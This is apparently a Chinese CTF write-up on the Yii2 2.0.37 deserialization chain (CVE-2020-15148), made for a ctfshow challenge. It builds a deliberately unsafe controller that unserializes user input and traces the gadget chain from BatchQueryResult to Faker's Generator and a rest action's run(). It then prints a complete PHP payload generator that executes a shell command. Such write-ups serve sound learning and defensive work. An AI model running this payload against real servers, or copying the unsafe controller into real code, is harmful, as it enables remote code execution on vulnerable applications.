YII2.0.37
CVE-2020-15148
最近在练习反序列化,又做到了一个yii的题,ctfshowweb267
这里理一下链子
环境搭建
去github下载一个就行了
https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
记得要修改config\web.php中的cookieValidationKey,什么值都可以,主要是防止报错
因为需要用户可以控制反序列的传入值,这里就在controller目录下创建一个controller
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller
{
public function actionIndex(){
$name = Yii::$app->request->get('test');
return unserialize(base64_decode($name));
}
}
主要是用来接收我们传入的值,这里是get方式接收test
前期准备完毕
对了,如果要运行yii的话,在phpstudy搭环境,然后在yii的basic根目录下运行 php yii serve
链子
其实链子简单,这个链子是用yii\db\BatchQueryResult
类中的__destruct方法作为起点
里面有个reset方法,按住ctrl进入看看这个方法是什
里面是这个东西,其中有个判断
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
这里调用了_dataReader
的close方法,而我们的_dataReader
是我们可控的,也就是说是调用这个的销毁方法,但是如果我们可以控制一个_dataReader
没有close方法,那么不就可以调用到我们的__call魔术方法了吗
__call:当程序调用到当前类中未声明或没权限调用的方法时
那我们要调用谁的call呢?
我们去找找看哪儿有可以执行命令的call,双击shift可以打开搜索界面(这里是phpstorm)
看到一大堆call
这里师傅们找到的是Faker的Generator类,查看它的call
这里是调用了format,传入的是method,和attributes,进入format方法看看
这里是调用了call_user_func_array方法,里面的参数是$this->getFormatter(formatter)和arguments
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
formatters是我们可以控制的,而call_user_func_array可以回调我们传入的函数
call_user_func_array(callable $callback, array $args): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入
所以如果这个时候我们传入的formatters是可以用来执行命令的,那么岂不是实现了我们的目的,又后面的array无法控制,但默认为空,所以可以整个call_user_func_array可以当做无参调用去调用formatter这个目标方法
这里师傅们找到的是yii\rest\IndexAction的run方法
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
这里的run方法调用了call_user_func方法,并且这里的checkAccess和id都是我们可以控制的传入
所以利用链到这里结束
<?
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /flag /var/www/html/basic/web/1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
参考:https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)